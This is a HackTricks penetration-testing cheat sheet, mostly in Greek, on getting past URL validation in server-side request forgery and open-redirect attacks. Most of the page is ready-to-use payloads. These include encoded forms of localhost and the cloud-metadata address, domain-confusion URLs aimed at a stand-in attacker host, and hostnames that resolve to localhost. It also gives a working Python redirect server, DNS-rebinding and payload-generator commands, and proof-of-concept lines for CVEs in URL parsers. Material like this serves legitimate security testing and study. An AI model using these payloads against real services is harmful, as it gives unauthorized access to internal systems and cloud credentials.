URL Format Bypass
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Localhost
Localhost payloads
```bash # Localhost 0 # Yes, just 0 is localhost in Linux http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪CIDR bypass
http://127.127.127.127 http://127.0.1.3 http://127.0.0.0
Dot bypass
127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821
Decimal bypass
http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1
Octal Bypass
http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001
Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001
Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal
Add 0s bypass
127.000000000000.1
You can also mix different encoding formats
https://www.silisoftware.com/tools/ipconverter.php
Malformed and rare
localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1
DNS to localhost
localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1
</details>
.png>)
Η **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) υλοποιεί παρακάμψεις μορφοποίησης IP.
### Domain Parser
<details>
<summary>Παρακάμψεις domain parser</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
Domain confusion payloads
```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # colon + backslash confusion (CVE-2025-0454 in autogpt) http://localhost:\@google.com/../On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
Parameter pollution
next={domain}&next=attacker.com
</details>
### Παρακάμψεις Διαδρομών και Επεκτάσεων
Αν απαιτείται το URL να τελειώνει σε διαδρομή ή επέκταση, ή να περιέχει διαδρομή, μπορείτε να δοκιμάσετε μία από τις παρακάτω παρακάμψεις:
https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path
### Fuzzing
Το εργαλείο [**recollapse**](https://github.com/0xacb/recollapse) μπορεί να δημιουργήσει παραλλαγές από μια δοθείσα είσοδο για να προσπαθήσει να παρακάμψει το χρησιμοποιούμενο regex. Δες επίσης [**this post**](https://0xacb.com/2022/11/21/recollapse/) για περισσότερες πληροφορίες.
### Αυτόματα Custom Wordlists
Δοκίμασε την webapp [**URL validation bypass cheat sheet**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) από το portswigger όπου μπορείς να εισάγεις τον επιτρεπόμενο host και τον επιτιθέμενο και θα δημιουργήσει μια λίστα από URLs για να δοκιμάσεις. Επίσης λαμβάνει υπόψη αν μπορείς να χρησιμοποιήσεις το URL σε ένα parameter, σε ένα Host header ή σε ένα CORS header.
<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>
### Παράκαμψη μέσω redirect
Είναι πιθανό ο server να **φιλτράρει το αρχικό request** ενός SSRF **αλλά όχι** μια πιθανή **redirect** απάντηση σε αυτό το request.\
Για παράδειγμα, ένας server ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει το url param**. Αλλά αν χρησιμοποιήσεις έναν [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) προς το μέρος που θέλεις να κάνεις redirect, ίσως να μπορείς να **προσπελάσεις φιλτραρισμένες IP διευθύνσεις** όπως 127.0.0.1 ή ακόμη και φιλτραρισμένα **protocols** όπως gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
<details>
<summary>Απλός redirector για δοκιμή SSRF</summary>
```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
DNS rebinding bypass (2025+)
Ακόμη και όταν ένα φίλτρο SSRF εκτελεί μία μόνο DNS επίλυση πριν από την αποστολή του HTTP αιτήματος, μπορείς ακόμα να φτάσεις σε εσωτερικά hosts αναδεσμεύοντας (rebinding) το domain μεταξύ της αναζήτησης και της σύνδεσης:
- Κατεύθυνε το
victim.example.comσε μία δημόσια IP ώστε να περάσει το allow‑list / CIDR check. - Εξυπηρέτησε πολύ χαμηλό TTL (ή χρησιμοποίησε έναν authoritative server που ελέγχεις) και rebind το domain σε
127.0.0.1ή169.254.169.254αμέσως πριν γίνει το πραγματικό request. - Εργαλεία όπως Singularity (
nccgroup/singularity) αυτοματοποιούν τον authoritative DNS + HTTP server και περιλαμβάνουν έτοιμα payloads. Παράδειγμα εκτέλεσης:python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080.
Αυτή η τεχνική χρησιμοποιήθηκε το 2025 για να παρακάμψει το BentoML “safe URL” patch και παρόμοια single‑resolve SSRF φίλτρα.
Εξηγημένα Tricks
Backslash-trick
Το backslash-trick εκμεταλλεύεται μια διαφορά μεταξύ του WHATWG URL Standard και του RFC3986. Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για URIs, το WHATWG είναι συγκεκριμένο για web URLs και έχει υιοθετηθεί από σύγχρονους browsers. Η βασική διαφορά είναι ότι το πρότυπο WHATWG αναγνωρίζει το backslash (\) ως ισοδύναμο του forward slash (/), επηρεάζοντας τον τρόπο που γίνεται parsing των URLs, ειδικά σηματοδοτώντας τη μετάβαση από το hostname στο path σε ένα URL.

Left square bracket
Ο χαρακτήρας “left square bracket” [ στο userinfo segment μπορεί να προκαλέσει το Spring’s UriComponentsBuilder να επιστρέψει ένα hostname value που διαφέρει από browsers: https://example.com[@attacker.com
Άλλες συγχύσεις
.png)
εικόνα από https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
IPv6 Zone Identifier (%25) Trick
Σύγχρονοι URL parsers που υποστηρίζουν το RFC 6874 επιτρέπουν στα link-local IPv6 addresses να περιλαμβάνουν έναν zone identifier μετά από ένα percent sign. Ορισμένα security filters δεν γνωρίζουν αυτή τη σύνταξη και θα αφαιρέσουν μόνο IPv6 literals σε αγκύλες, επιτρέποντας στο ακόλουθο payload να φτάσει σε ένα internal interface:
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
Αν η στοχευόμενη εφαρμογή επικυρώνει ότι ο host δεν είναι fe80::1 αλλά σταματά την ανάλυση στο %, μπορεί να θεωρήσει λανθασμένα το αίτημα ως εξωτερικό. Κανονικοποιήστε πάντα τη διεύθυνση πριν από οποιαδήποτε απόφαση ασφάλειας ή αφαιρέστε εντελώς το προαιρετικό zone id.
Πρόσφατα CVE ανάλυσης βιβλιοθηκών (2022–2026)
Πολλά δημοφιλή frameworks παρουσίασαν προβλήματα ασυμφωνίας hostname που μπορούν να εκμεταλλευτούν για SSRF μόλις η επικύρωση URL παρακαμφθεί με τα τρικ που απαριθμήθηκαν παραπάνω:
| Έτος | CVE | Συστατικό | Περίληψη σφάλματος | Ελάχιστο PoC |
|---|---|---|---|---|
| 2025 | CVE-2025-0454 | Python requests + urllib.parse (autogpt) | Ασυμφωνία στην ανάλυση του http://localhost:\\@google.com/../ που κάνει τις allow‑lists να θεωρούν ότι ο host είναι google.com ενώ το αίτημα φτάνει στο localhost. | requests.get("http://localhost:\\@google.com/../") |
| 2025 | CVE-2025-2691 | Node package nossrf | Η βιβλιοθήκη που προορίζεται να μπλοκάρει SSRF ελέγχει μόνο το αρχικό hostname, όχι την επιλυμένη IP, επιτρέποντας hostnames που επιλύονται σε ιδιωτικές διευθύνσεις. | curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1 |
| 2024 | CVE-2024-29415 | Node ip package | isPublic() κατέταξε λανθασμένα το dotted‑octal / τη σύντομη μορφή localhost (π.χ. 0127.0.0.1, 127.1) ως δημόσιο, επιτρέποντας στα φίλτρα να αποδεχτούν εσωτερικούς στόχους. | ip.isPublic('0127.0.0.1') returns true on vulnerable versions |
| 2024 | CVE-2024-3095 | Langchain WebResearchRetriever | Δεν υπάρχει φιλτράρισμα host; τα GET requests θα μπορούσαν να φτάσουν στο IMDS/localhost από AI agents. | User‑controlled URL inside WebResearchRetriever |
| 2024 | CVE-2024-22243 / ‑22262 | Spring UriComponentsBuilder | Το [ στο userinfo αναλύεται διαφορετικά από το Spring σε σύγκριση με τους browsers, επιτρέποντας παράκαμψη allow‑list. | https://example.com\[@internal |
| 2023 | CVE-2023-27592 | urllib3 <1.26.15 | Η σύγχυση από backslash επέτρεψε στο http://example.com\\@169.254.169.254/ να παρακάμψει φίλτρα host που χωρίζουν με @. | — |
| 2022 | CVE-2022-3602 | OpenSSL | Ο έλεγχος hostname παρακάμφθηκε όταν το όνομα είχε κατάληξη . (σύγχυση dotless domain). | — |
Βοηθητικά εργαλεία δημιουργίας payloads (2024+)
Η δημιουργία μεγάλων προσαρμοσμένων λιστών λέξεων με το χέρι είναι κουραστική. Το ανοιχτού κώδικα εργαλείο SSRF-PayloadMaker (Python 3) μπορεί τώρα να δημιουργήσει αυτόματα 80 k+ συνδυασμούς παραμόρφωσης hosts, συμπεριλαμβανομένων μικτών κωδικοποιήσεων, εξαναγκασμένης υποβάθμισης σε HTTP και παραλλαγών με backslash:
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
Η προκύπτουσα λίστα μπορεί να τροφοδοτηθεί απευθείας στο Burp Intruder ή στο ffuf.
Αναφορές
- https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md
- https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
- https://nvd.nist.gov/vuln/detail/CVE-2024-22243
- https://github.com/hsynuzm/SSRF-PayloadMaker
- https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe
- https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


